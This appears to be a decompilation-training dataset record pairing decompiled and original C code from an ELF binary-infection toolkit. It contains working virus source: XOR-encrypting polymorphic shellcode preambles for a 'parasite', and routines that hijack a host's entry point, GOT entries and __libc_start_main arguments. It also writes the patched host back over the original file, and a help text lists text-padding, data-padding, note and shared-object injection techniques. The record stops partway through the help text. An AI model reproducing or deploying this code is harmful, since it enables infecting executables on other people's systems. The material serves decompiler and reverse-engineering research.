variable_types: struct Elfit_t { char *name; unsigned char *mem; struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; } *file; } *

variable_types:
vaddr
unsigned long

variable_types: arch int


original_code:
int parasite_polymorphize64(Elfit_t *parasite, char key)
{
    unsigned char preamble[] = {
          0x57, 0x56, 0x52, 0x51, 0x41, 0x50, 0x41, 0x51, 0xeb, 0x02, 0xeb, 0x13,
          0x48, 0x31, 0xc0, 0x48, 0x31, 0xff, 0x48, 0x31, 0xf6, 0xb8, 0x00, 0x00,
          0x00, 0x00, 0xe8, 0xeb, 0xff, 0xff, 0xff, 0x5b, 0xbe, 0x00, 0x00, 0x00,
          0x00, 0x48, 0x83, 0xc3, 0x1e, 0x48, 0x31, 0x04, 0x3b, 0x48, 0xff, 0xc7,
          0x48, 0x39, 0xf7, 0x7c, 0xf4, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e,
          0x5f
    };
    unsigned int preamble_len = 61;
    int i;
    char *newmem;
    newmem = malloc(preamble_len + parasite->file->st_size);
    if (newmem==((void *)0))
    {
        perror("allocating space for polymorphic preamble\n");
    }
    memcpy(newmem, preamble, preamble_len);
    *(uint32_t *)&newmem[(14 + 8)] = key;
    *(uint32_t *)&newmem[(25 + 8)] = parasite->file->st_size;
    memcpy(&newmem[preamble_len], parasite->mem, parasite->file->st_size);
    for (i=0;i<parasite->file->st_size;i++)
        newmem[preamble_len+i] ^= key;
    parasite->file->st_size += preamble_len;
    free(parasite->mem);
    parasite->mem = newmem;
}

canonical_original_code:
int parasite_polymorphize64(struct Elfit_t *parasite, char key)
{
    unsigned char preamble[] = {
          0x57, 0x56, 0x52, 0x51, 0x41, 0x50, 0x41, 0x51, 0xeb, 0x02, 0xeb, 0x13,
          0x48, 0x31, 0xc0, 0x48, 0x31, 0xff, 0x48, 0x31, 0xf6, 0xb8, 0x00, 0x00,
          0x00, 0x00, 0xe8, 0xeb, 0xff, 0xff, 0xff, 0x5b, 0xbe, 0x00, 0x00, 0x00,
          0x00, 0x48, 0x83, 0xc3, 0x1e, 0x48, 0x31, 0x04, 0x3b, 0x48, 0xff, 0xc7,
          0x48, 0x39, 0xf7, 0x7c, 0xf4, 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e,
          0x5f
    };
    unsigned int preamble_len = 61;
    int i;
    char *newmem;
    newmem = malloc(preamble_len + parasite->file->st_size);
    if (newmem==((void *)0))
    {
        perror("allocating space for polymorphic preamble\n");
    }
    memcpy(newmem, preamble, preamble_len);
    *(unsigned int *)&newmem[(14 + 8)] = key;
    *(unsigned int *)&newmem[(25 + 8)] = parasite->file->st_size;
    memcpy(&newmem[preamble_len], parasite->mem, parasite->file->st_size);
    for (i=0;i<parasite->file->st_size;i++)
        newmem[preamble_len+i] ^= key;
    parasite->file->st_size += preamble_len;
    free(parasite->mem);
    parasite->mem = newmem;
}

variable_types: key char

variable_types:
preamble
unsigned char []

variable_types:
newmem
char *


original_code:
int parasite_polymorphize32(Elfit_t *parasite, char key)
{
    unsigned char preamble[] = {
 0x60, 0xeb, 0x02, 0xeb, 0x10, 0x31, 0xc0, 0x31, 0xff, 0x31, 0xf6, 0xb8,
   0x00, 0x00, 0x00, 0x00, 0xe8, 0xee, 0xff, 0xff, 0xff, 0x5b, 0xbe, 0x00,
   0x00, 0x00, 0x00, 0x83, 0xc3, 0x12, 0x31, 0x04, 0x3b, 0x47, 0x39, 0xf7,
   0x7c, 0xf8, 0x61
    };
    unsigned int preamble_len = 39;
    int i;
    char *newmem;
    newmem = malloc(preamble_len + parasite->file->st_size);
    if (newmem==((void *)0))
    {
        perror("allocating space for polymorphic preamble\n");
    }
    memcpy(newmem, preamble, preamble_len);
    *(uint32_t *)&newmem[12] = key;
    *(uint32_t *)&newmem[23] = parasite->file->st_size;
    memcpy(&newmem[preamble_len], parasite->mem, parasite->file->st_size);
    for (i=0;i<parasite->file->st_size;i++)
        newmem[preamble_len+i] ^= key;
    parasite->file->st_size += preamble_len;
    free(parasite->mem);
    parasite->mem = newmem;
}

canonical_original_code:
int parasite_polymorphize32(struct Elfit_t *parasite, char key)
{
    unsigned char preamble[] = {
 0x60, 0xeb, 0x02, 0xeb, 0x10, 0x31, 0xc0, 0x31, 0xff, 0x31, 0xf6, 0xb8,
   0x00, 0x00, 0x00, 0x00, 0xe8, 0xee, 0xff, 0xff, 0xff, 0x5b, 0xbe, 0x00,
   0x00, 0x00, 0x00, 0x83, 0xc3, 0x12, 0x31, 0x04, 0x3b, 0x47, 0x39, 0xf7,
   0x7c, 0xf8, 0x61
    };
    unsigned int preamble_len = 39;
    int i;
    char *newmem;
    newmem = malloc(preamble_len + parasite->file->st_size);
    if (newmem==((void *)0))
    {
        perror("allocating space for polymorphic preamble\n");
    }
    memcpy(newmem, preamble, preamble_len);
    *(unsigned int *)&newmem[12] = key;
    *(unsigned int *)&newmem[23] = parasite->file->st_size;
    memcpy(&newmem[preamble_len], parasite->mem, parasite->file->st_size);
    for (i=0;i<parasite->file->st_size;i++)
        newmem[preamble_len+i] ^= key;
    parasite->file->st_size += preamble_len;
    free(parasite->mem);
    parasite->mem = newmem;
}


decompiled_code:
__int64 __fastcall commit_redirect_32(__int64 a1, __int64 a2, int a3)
{
int v3; // eax
__int64 result; // rax

*(_DWORD *)(*(_QWORD *)(a1 + 8) + a2) = a3;
v3 = open("tmp.bin", 577, *(unsigned int *)(*(_QWORD *)(a1 + 16) + 24LL));
if ( v3 < 0 )
{
perror("tmp binary: open");
result = 0xFFFFFFFFLL;
}
else if ( (int)write(v3, *(const void **)(a1 + 8), *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL)) == *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
rename("tmp.bin", *(const char **)a1);
result = 1LL;
}
else
{
perror("tmp binary: write");
result = 0xFFFFFFFFLL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func0(__int64 a1, __int64 a2, int a3)
{
int v3; // eax
__int64 result; // rax

*(_DWORD *)(*(_QWORD *)(a1 + 8) + a2) = a3;
v3 = open("tmp.bin", 577, *(unsigned int *)(*(_QWORD *)(a1 + 16) + 24LL));
if ( v3 < 0 )
{
perror("tmp binary: open");
result = 0xFFFFFFFFLL;
}
else if ( (int)write(v3, *(const void **)(a1 + 8), *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL)) == *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
rename("tmp.bin", *(const char **)a1);
result = 1LL;
}
else
{
perror("tmp binary: write");
result = 0xFFFFFFFFLL;
}
return result;
}

original_code:
int commit_redirect_32(Elfit_t *host, off_t location, uint32_t malpoint)
{
    int ofd, c;
    *(uint32_t *)&host->mem[location] = malpoint;
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary: open");
        return -1;
    }
    if ((c = write(ofd, host->mem, host->file->st_size)) != host->file->st_size)
    {
        perror("tmp binary: write");
        return -1;
    }
    rename("tmp.bin", host->name);
    return 1;
}

canonical_original_code:
int commit_redirect_32(struct Elfit_t *host, long location, unsigned int malpoint)
{
    int ofd; int c;
    *(unsigned int *)&host->mem[location] = malpoint;
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary: open");
        return -1;
    }
    if ((c = write(ofd, host->mem, host->file->st_size)) != host->file->st_size)
    {
        perror("tmp binary: write");
        return -1;
    }
    rename("tmp.bin", host->name);
    return 1;
}

variable_types: location long

variable_types:
malpoint
unsigned int

variable_types: c int


decompiled_code:
__int64 __fastcall commit_redirect_64(__int64 a1, __int64 a2, int a3)
{
int v3; // eax
__int64 result; // rax

*(_DWORD *)(*(_QWORD *)(a1 + 8) + a2) = a3;
v3 = open("tmp.bin", 577, *(unsigned int *)(*(_QWORD *)(a1 + 16) + 24LL));
if ( v3 < 0 )
{
perror("tmp binary: open");
result = 0xFFFFFFFFLL;
}
else if ( (int)write(v3, *(const void **)(a1 + 8), *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL)) == *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
rename("tmp.bin", *(const char **)a1);
result = 1LL;
}
else
{
perror("tmp binary: write");
result = 0xFFFFFFFFLL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func1(__int64 a1, __int64 a2, int a3)
{
int v3; // eax
__int64 result; // rax

*(_DWORD *)(*(_QWORD *)(a1 + 8) + a2) = a3;
v3 = open("tmp.bin", 577, *(unsigned int *)(*(_QWORD *)(a1 + 16) + 24LL));
if ( v3 < 0 )
{
perror("tmp binary: open");
result = 0xFFFFFFFFLL;
}
else if ( (int)write(v3, *(const void **)(a1 + 8), *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL)) == *(_QWORD *)(*(_QWORD *)(a1 + 16) + 48LL) )
{
rename("tmp.bin", *(const char **)a1);
result = 1LL;
}
else
{
perror("tmp binary: write");
result = 0xFFFFFFFFLL;
}
return result;
}

original_code:
int commit_redirect_64(Elfit_t *host, off_t location, uint64_t malpoint)
{
    int ofd, c;
    *(uint32_t *)&host->mem[location] = malpoint;
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary: open");
        return -1;
    }
    if ((c = write(ofd, host->mem, host->file->st_size)) != host->file->st_size)
    {
        perror("tmp binary: write");
        return -1;
    }
    rename("tmp.bin", host->name);
    return 1;
}

canonical_original_code:
int commit_redirect_64(struct Elfit_t *host, long location, unsigned long malpoint)
{
    int ofd; int c;
    *(unsigned int *)&host->mem[location] = malpoint;
    if ((ofd = open("tmp.bin", 0100 | 01 | 01000, host->file->st_mode)) < 0)
    {
        perror("tmp binary: open");
        return -1;
    }
    if ((c = write(ofd, host->mem, host->file->st_size)) != host->file->st_size)
    {
        perror("tmp binary: write");
        return -1;
    }
    rename("tmp.bin", host->name);
    return 1;
}

variable_types:
malpoint
unsigned long


original_code:
off_t entry_redirect_32(Elfit_t *host, uint32_t *patch_addr)
{
    Elf32_Ehdr *ehdr;
    ehdr = (Elf32_Ehdr *) host->mem;
    *patch_addr = ehdr->e_entry;
    return ((unsigned long) &ehdr->e_entry) - ((unsigned long) host->mem);
}

canonical_original_code:
long entry_redirect_32(struct Elfit_t *host, unsigned int *patch_addr)
{
    struct Elf32_Ehdr *ehdr;
    ehdr = (struct Elf32_Ehdr *) host->mem;
    *patch_addr = ehdr->e_entry;
    return ((unsigned long) &ehdr->e_entry) - ((unsigned long) host->mem);
}

variable_types: struct Elf32_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned int e_entry; unsigned int e_phoff; unsigned int e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; } *

return_type: long


original_code:
off_t entry_redirect_64(Elfit_t *host, uint64_t *patch_addr)
{
    Elf64_Ehdr *ehdr;
    ehdr = (Elf64_Ehdr *) host->mem;
    *patch_addr = ehdr->e_entry;
    return ((unsigned long) &ehdr->e_entry) - ((unsigned long) host->mem);
}

canonical_original_code:
long entry_redirect_64(struct Elfit_t *host, unsigned long *patch_addr)
{
    struct Elf64_Ehdr *ehdr;
    ehdr = (struct Elf64_Ehdr *) host->mem;
    *patch_addr = ehdr->e_entry;
    return ((unsigned long) &ehdr->e_entry) - ((unsigned long) host->mem);
}

variable_types: struct Elf64_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned long e_entry; unsigned long e_phoff; unsigned long e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; } *


original_code:
off_t got_redirect_32(Elfit_t *host, char *target, uint32_t *patch_addr)
{
    Elf32_Ehdr *ehdr;
    Elf32_Shdr *shdr;
    Elf32_Phdr *phdr;
    Elf32_Rel *rel;
    Elf32_Sym *dynsym;
    char *dynstr;
    int i, c, ofd;
    int relindex, dynsymindex, dynstrindex;
    Elf32_Addr data_vaddr, gotptr;
    Elf32_Off data_offset, relocptr;
    ehdr = (Elf32_Ehdr *) host->mem;
    phdr = (Elf32_Phdr *) (host->mem + ehdr->e_phoff);
    shdr = (Elf32_Shdr *) (host->mem + ehdr->e_shoff);
    if ((relindex = get_section_by_name_32(".rel.plt", host)) == -1)
    {
        printf("could not find relocation table\n");
        return -1;
    }
    rel = (Elf32_Rel *) (host->mem + shdr[relindex].sh_offset);
    if ((dynsymindex = get_section_by_name_32(".dynsym", host)) == -1)
    {
        printf("could not find dynamic symbol table\n");
        return -1;
    }
    dynsym = (Elf32_Sym *) (host->mem + shdr[dynsymindex].sh_offset);
    if ((dynstrindex = get_section_by_name_32(".dynstr", host)) == -1)
    {
        printf("could not find dynamic string table\n");
        return -1;
    }
    dynstr = (char *) (host->mem + shdr[dynstrindex].sh_offset);
    for(i = 0; i < (shdr[relindex].sh_size / sizeof(Elf32_Rel)); i++)
    {
        if (strcmp(&dynstr[dynsym[((rel[i].r_info) >> 8)].st_name], target) == 0)
        {
            gotptr = (Elf32_Addr) rel[i].r_offset;
        }
    }
    if (!gotptr)
    {
        printf("could not retrieve got entry for the specified symbol\n");
        return -1;
    }
    for(i = 0; i < ehdr->e_phnum; i++)
    {
        if (phdr[i].p_type == 1)
        {
            data_vaddr = phdr[i+1].p_vaddr;
            data_offset = phdr[i+1].p_offset;
            break;
        }
    }
    relocptr = data_offset + ((Elf32_Off) (gotptr - data_vaddr));
    *patch_addr = *((uint32_t *) &host->mem[relocptr]);
    return relocptr;
}

canonical_original_code:
long got_redirect_32(struct Elfit_t *host, char *target, unsigned int *patch_addr)
{
    struct Elf32_Ehdr *ehdr;
    struct Elf32_Shdr *shdr;
    struct Elf32_Phdr *phdr;
    struct Elf32_Rel *rel;
    struct Elf32_Sym *dynsym;
    char *dynstr;
    int i; int c; int ofd;
    int relindex; int dynsymindex; int dynstrindex;
    unsigned int data_vaddr; unsigned int gotptr;
    unsigned int data_offset; unsigned int relocptr;
    ehdr = (struct Elf32_Ehdr *) host->mem;
    phdr = (struct Elf32_Phdr *) (host->mem + ehdr->e_phoff);
    shdr = (struct Elf32_Shdr *) (host->mem + ehdr->e_shoff);
    if ((relindex = get_section_by_name_32(".rel.plt", host)) == -1)
    {
        printf("could not find relocation table\n");
        return -1;
    }
    rel = (struct Elf32_Rel *) (host->mem + shdr[relindex].sh_offset);
    if ((dynsymindex = get_section_by_name_32(".dynsym", host)) == -1)
    {
        printf("could not find dynamic symbol table\n");
        return -1;
    }
    dynsym = (struct Elf32_Sym *) (host->mem + shdr[dynsymindex].sh_offset);
    if ((dynstrindex = get_section_by_name_32(".dynstr", host)) == -1)
    {
        printf("could not find dynamic string table\n");
        return -1;
    }
    dynstr = (char *) (host->mem + shdr[dynstrindex].sh_offset);
    for(i = 0; i < (shdr[relindex].sh_size / sizeof(Elf32_Rel)); i++)
    {
        if (strcmp(&dynstr[dynsym[((rel[i].r_info) >> 8)].st_name], target) == 0)
        {
            gotptr = (unsigned int) rel[i].r_offset;
        }
    }
    if (!gotptr)
    {
        printf("could not retrieve got entry for the specified symbol\n");
        return -1;
    }
    for(i = 0; i < ehdr->e_phnum; i++)
    {
        if (phdr[i].p_type == 1)
        {
            data_vaddr = phdr[i+1].p_vaddr;
            data_offset = phdr[i+1].p_offset;
            break;
        }
    }
    relocptr = data_offset + ((Elf32_Off) (gotptr - data_vaddr));
    *patch_addr = *((unsigned int *) &host->mem[relocptr]);
    return relocptr;
}

variable_types:
target
char *

variable_types: struct Elf32_Shdr { unsigned int sh_name; unsigned int sh_type; unsigned int sh_flags; unsigned int sh_addr; unsigned int sh_offset; unsigned int sh_size; unsigned int sh_link; unsigned int sh_info; unsigned int sh_addralign; unsigned int sh_entsize; } *

variable_types: struct Elf32_Rel { unsigned int r_offset; unsigned int r_info; } *

variable_types: struct Elf32_Sym { unsigned int st_name; unsigned int st_value; unsigned int st_size; unsigned char st_info; unsigned char st_other; unsigned short st_shndx; } *

variable_types:
dynstr
char *

variable_types: i int

variable_types: ofd int

variable_types: relindex int

variable_types: dynsymindex int

variable_types: dynstrindex int

variable_types:
gotptr
unsigned int

variable_types:
relocptr
unsigned int

user_defined_types: struct Elf32_Phdr { unsigned int p_type; unsigned int p_offset; unsigned int p_vaddr; unsigned int p_paddr; unsigned int p_filesz; unsigned int p_memsz; unsigned int p_flags; unsigned int p_align; }


original_code:
off_t got_redirect_64(Elfit_t *host, char *target, uint64_t *patch_addr)
{
    Elf64_Ehdr *ehdr;
    Elf64_Shdr *shdr;
    Elf64_Phdr *phdr;
    Elf64_Rela *rel;
    Elf64_Sym *dynsym;
    char *dynstr;
    int i, c, ofd;
    int relindex, dynsymindex, dynstrindex;
    Elf64_Addr data_vaddr, gotptr;
    Elf64_Off data_offset, relocptr;
    ehdr = (Elf64_Ehdr *) host->mem;
    phdr = (Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    shdr = (Elf64_Shdr *) (host->mem + ehdr->e_shoff);
    if ((relindex = get_section_by_name_64(".rela.plt", host)) == -1)
    {
        printf("could not find relocation table\n");
        return -1;
    }
    rel = (Elf64_Rela *) (host->mem + shdr[relindex].sh_offset);
    if ((dynsymindex = get_section_by_name_64(".dynsym", host)) == -1)
    {
        printf("could not find dynamic symbol table\n");
        return -1;
    }
    dynsym = (Elf64_Sym *) (host->mem + shdr[dynsymindex].sh_offset);
    if ((dynstrindex = get_section_by_name_64(".dynstr", host)) == -1)
    {
        printf("could not find dynamic string table\n");
        return -1;
    }
    dynstr = (char *) (host->mem + shdr[dynstrindex].sh_offset);
    gotptr = 0x0;
    for(i = 0; i < (shdr[relindex].sh_size / sizeof(Elf64_Rela)); i++)
    {
        if (strcmp(&dynstr[dynsym[((rel[i].r_info) >> 32)].st_name], target) == 0)
        {
            gotptr = (Elf64_Addr) rel[i].r_offset;
        }
    }
    if (!gotptr)
    {
        printf("could not retrieve got entry for the specified symbol\n");
        return -1;
    }
    for(i = 0; i < ehdr->e_phnum; i++)
    {
        if (phdr[i].p_type == 1)
        {
            data_vaddr = phdr[i+1].p_vaddr;
            data_offset = phdr[i+1].p_offset;
            break;
        }
    }
    relocptr = data_offset + ((Elf64_Off) (gotptr - data_vaddr));
    *patch_addr = *((uint64_t *) &host->mem[relocptr]);
    return relocptr;
}

canonical_original_code:
long got_redirect_64(struct Elfit_t *host, char *target, unsigned long *patch_addr)
{
    struct Elf64_Ehdr *ehdr;
    struct Elf64_Shdr *shdr;
    struct Elf64_Phdr *phdr;
    struct Elf64_Rela *rel;
    struct Elf64_Sym *dynsym;
    char *dynstr;
    int i; int c; int ofd;
    int relindex; int dynsymindex; int dynstrindex;
    unsigned long data_vaddr; unsigned long gotptr;
    unsigned long data_offset; unsigned long relocptr;
    ehdr = (struct Elf64_Ehdr *) host->mem;
    phdr = (struct Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    shdr = (struct Elf64_Shdr *) (host->mem + ehdr->e_shoff);
    if ((relindex = get_section_by_name_64(".rela.plt", host)) == -1)
    {
        printf("could not find relocation table\n");
        return -1;
    }
    rel = (struct Elf64_Rela *) (host->mem + shdr[relindex].sh_offset);
    if ((dynsymindex = get_section_by_name_64(".dynsym", host)) == -1)
    {
        printf("could not find dynamic symbol table\n");
        return -1;
    }
    dynsym = (struct Elf64_Sym *) (host->mem + shdr[dynsymindex].sh_offset);
    if ((dynstrindex = get_section_by_name_64(".dynstr", host)) == -1)
    {
        printf("could not find dynamic string table\n");
        return -1;
    }
    dynstr = (char *) (host->mem + shdr[dynstrindex].sh_offset);
    gotptr = 0x0;
    for(i = 0; i < (shdr[relindex].sh_size / sizeof(Elf64_Rela)); i++)
    {
        if (strcmp(&dynstr[dynsym[((rel[i].r_info) >> 32)].st_name], target) == 0)
        {
            gotptr = (unsigned long) rel[i].r_offset;
        }
    }
    if (!gotptr)
    {
        printf("could not retrieve got entry for the specified symbol\n");
        return -1;
    }
    for(i = 0; i < ehdr->e_phnum; i++)
    {
        if (phdr[i].p_type == 1)
        {
            data_vaddr = phdr[i+1].p_vaddr;
            data_offset = phdr[i+1].p_offset;
            break;
        }
    }
    relocptr = data_offset + ((Elf64_Off) (gotptr - data_vaddr));
    *patch_addr = *((unsigned long *) &host->mem[relocptr]);
    return relocptr;
}

variable_types: struct Elfit_t { char *name; unsigned char *mem; struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; } *file; } *

variable_types: struct Elf64_Shdr { unsigned int sh_name; unsigned int sh_type; unsigned long sh_flags; unsigned long sh_addr; unsigned long sh_offset; unsigned long sh_size; unsigned int sh_link; unsigned int sh_info; unsigned long sh_addralign; unsigned long sh_entsize; } *

variable_types: struct Elf64_Phdr { unsigned int p_type; unsigned int p_flags; unsigned long p_offset; unsigned long p_vaddr; unsigned long p_paddr; unsigned long p_filesz; unsigned long p_memsz; unsigned long p_align; } *

variable_types: struct Elf64_Rela { unsigned long r_offset; unsigned long r_info; long r_addend; } *

variable_types: struct Elf64_Sym { unsigned int st_name; unsigned char st_info; unsigned char st_other; unsigned short st_shndx; unsigned long st_value; unsigned long st_size; } *

variable_types:
gotptr
unsigned long

variable_types:
relocptr
unsigned long


original_code:
off_t libc_start_main_hijack_32(Elfit_t *host, int mode, uint32_t *patch_addr)
{
    Elf32_Ehdr *ehdr;
    Elf32_Phdr *phdr;
    Elf32_Addr startaddr;
    unsigned char *startoff;
    uint32_t hltoff;
    int ofd;
    int i, c, pushes, pushfound, pushestil;
    ehdr = (Elf32_Ehdr *) host->mem;
    phdr = (Elf32_Phdr *) (host->mem + ehdr->e_phoff);
    startaddr = ehdr->e_entry;
    for(i = 0; i < ehdr->e_phnum; i++, phdr++)
    {
        if (phdr->p_type == 1 && phdr->p_flags == (1 << 2) | (1 << 0))
        {
            startoff = host->mem + phdr->p_offset + (startaddr - phdr->p_vaddr);
            break;
        }
    }
    pushes = 0;
    pushfound = 0;
    switch(mode)
    {
        case 1: pushestil = 4; break;
        case 2: pushestil = 3; break;
        case 3: pushestil = 7; break;
    }
    for(i = 0; i < 0x100; i++)
    {
        if (startoff[i] >= 0x50 && startoff[i] <= 0x59)
        {
            pushes++;
        }
        if (startoff[i] == 0x68)
        {
            if (pushes == pushestil)
            {
                *patch_addr = *(uint32_t *)&startoff[i+1];
                pushfound = 1;
                break;
            }
            pushes++;
        }
    }
    if (!pushfound)
    {
        printf("[-] correct push instruction could not be located\n");
        return -1;
    }
    return &startoff[i+1] - host->mem;
}

canonical_original_code:
long libc_start_main_hijack_32(struct Elfit_t *host, int mode, unsigned int *patch_addr)
{
    struct Elf32_Ehdr *ehdr;
    struct Elf32_Phdr *phdr;
    unsigned int startaddr;
    unsigned char *startoff;
    unsigned int hltoff;
    int ofd;
    int i; int c; int pushes; int pushfound; int pushestil;
    ehdr = (struct Elf32_Ehdr *) host->mem;
    phdr = (struct Elf32_Phdr *) (host->mem + ehdr->e_phoff);
    startaddr = ehdr->e_entry;
    for(i = 0; i < ehdr->e_phnum; i++, phdr++)
    {
        if (phdr->p_type == 1 && phdr->p_flags == (1 << 2) | (1 << 0))
        {
            startoff = host->mem + phdr->p_offset + (startaddr - phdr->p_vaddr);
            break;
        }
    }
    pushes = 0;
    pushfound = 0;
    switch(mode)
    {
        case 1: pushestil = 4; break;
        case 2: pushestil = 3; break;
        case 3: pushestil = 7; break;
    }
    for(i = 0; i < 0x100; i++)
    {
        if (startoff[i] >= 0x50 && startoff[i] <= 0x59)
        {
            pushes++;
        }
        if (startoff[i] == 0x68)
        {
            if (pushes == pushestil)
            {
                *patch_addr = *(unsigned int *)&startoff[i+1];
                pushfound = 1;
                break;
            }
            pushes++;
        }
    }
    if (!pushfound)
    {
        printf("[-] correct push instruction could not be located\n");
        return -1;
    }
    return &startoff[i+1] - host->mem;
}

variable_types: mode int

variable_types: struct Elf32_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned int e_entry; unsigned int e_phoff; unsigned int e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; } *

variable_types: struct Elf32_Phdr { unsigned int p_type; unsigned int p_offset; unsigned int p_vaddr; unsigned int p_paddr; unsigned int p_filesz; unsigned int p_memsz; unsigned int p_flags; unsigned int p_align; } *

variable_types:
startaddr
unsigned int

variable_types:
startoff
unsigned char *

variable_types:
hltoff
unsigned int

variable_types: c int

variable_types: pushes int

variable_types: pushfound int

variable_types: pushestil int


original_code:
off_t libc_start_main_hijack_64(Elfit_t *host, int mode, uint64_t *patch_addr)
{
    Elf64_Ehdr *ehdr;
    Elf64_Phdr *phdr;
    Elf64_Addr startaddr;
    unsigned char *startoff;
    off_t offset;
    int ofd;
    int i, c;
    ehdr = (Elf64_Ehdr *) host->mem;
    phdr = (Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    startaddr = ehdr->e_entry;
    for(i = 0; i < ehdr->e_phnum; i++, phdr++)
    {
        if (phdr->p_type == 1 && phdr->p_flags == (1 << 2) | (1 << 0))
        {
            startoff = host->mem + phdr->p_offset + (startaddr - phdr->p_vaddr);
            break;
        }
    }
    switch(mode)
    {
        case 1: offset = 18; break;
        case 2: offset = 25; break;
        case 3: offset = 32; break;
    }
    *patch_addr = *(uint32_t *)&startoff[offset];
    return &startoff[offset] - host->mem;
}

canonical_original_code:
long libc_start_main_hijack_64(struct Elfit_t *host, int mode, unsigned long *patch_addr)
{
    struct Elf64_Ehdr *ehdr;
    struct Elf64_Phdr *phdr;
    unsigned long startaddr;
    unsigned char *startoff;
    long offset;
    int ofd;
    int i; int c;
    ehdr = (struct Elf64_Ehdr *) host->mem;
    phdr = (struct Elf64_Phdr *) (host->mem + ehdr->e_phoff);
    startaddr = ehdr->e_entry;
    for(i = 0; i < ehdr->e_phnum; i++, phdr++)
    {
        if (phdr->p_type == 1 && phdr->p_flags == (1 << 2) | (1 << 0))
        {
            startoff = host->mem + phdr->p_offset + (startaddr - phdr->p_vaddr);
            break;
        }
    }
    switch(mode)
    {
        case 1: offset = 18; break;
        case 2: offset = 25; break;
        case 3: offset = 32; break;
    }
    *patch_addr = *(unsigned int *)&startoff[offset];
    return &startoff[offset] - host->mem;
}

variable_types: struct Elfit_t { char *name; unsigned char *mem; struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; } *file; } *

variable_types: struct Elf64_Ehdr { unsigned char e_ident[-1]; unsigned short e_type; unsigned short e_machine; unsigned int e_version; unsigned long e_entry; unsigned long e_phoff; unsigned long e_shoff; unsigned int e_flags; unsigned short e_ehsize; unsigned short e_phentsize; unsigned short e_phnum; unsigned short e_shentsize; unsigned short e_shnum; unsigned short e_shstrndx; } *

variable_types:
startaddr
unsigned long

variable_types: offset long

variable_types: ofd int

variable_types: i int


decompiled_code:
void __fastcall __noreturn print_help(char a1, const char *a2)
{
if ( a1 )
printf("unrecognized option: %c\n", (unsigned int)a1);
printf(
"usage: %s [options] <host>\n"
"options:\n"
"-p, --parasite <parasite> specify parasite file\n"
"\n"
"INJECTION TECHNIQUES:\n"
"\t-t, --text text padding infection\n"
"\t-r, --reverse reverse text padding infection\n"
"\t-w, --data data padding infection\n"
"\t-s, --shared <sharedobj> inject shared object\n"
"\t-a, --relinjex relocatable injection\n"
"\t-n, --note note injection\n"
"\n"
"REDIRECTION TECHNIQUES:\n"
"\t-g, --got <symbol> hijack symbol's got entry\n"
"\t-e, --entrypoint use entry point redirection\n"
"\t-c, --ctor use ctor redirection\n"
"\t-d, --dtor use dtor redirection\n"
"\t-m, --start-main init|fini|main hijack chosen __libc_start_main arg\n"
"\n"
"PARASITE MODIFICATION:\n"
"\t-v, --patch-addr <addr> explicitly patch parasite with addr for jmp point\n"
"\t-q, --patch-position <position> byte index into parasite with which to patch with return addr\n"
"\t-z, --in-segment-poly <key> mutates the parasite with key, may mark injection segment writable\n"
"-x cross architecture infection, infect executables on i386 if on x64 or infect executables of x64 if on i368\n",
a2);
exit(-1);
}

canonical_decompiled_code:
void __fastcall __noreturn func0(char a1, const char *a2)
{
if ( a1 )
printf("unrecognized option: %c\n", (unsigned int)a1);
printf(
"usage: %s [options] <host>\n"
"options:\n"
"-p, --parasite <parasite> specify parasite file\n"
"\n"
"INJECTION TECHNIQUES:\n"
"\t-t, --text text padding infection\n"
"\t-r, --reverse reverse text padding infection\n"
"\t-w, --data data padding infection\n"
"\t-s, --shared <sharedobj> inject shared object\n"
"\t-a, --relinjex relocatable injection\n"
"\t-n, --note note injection\n"
"\n"
"REDIRECTION TECHNIQUES:\n"
"\t-g, --got <symbol> hijack symbol's got entry\n"
"\t-e, --entrypoint use entry point redirection\n"
"\t-c, --ctor use ctor redirection\n"
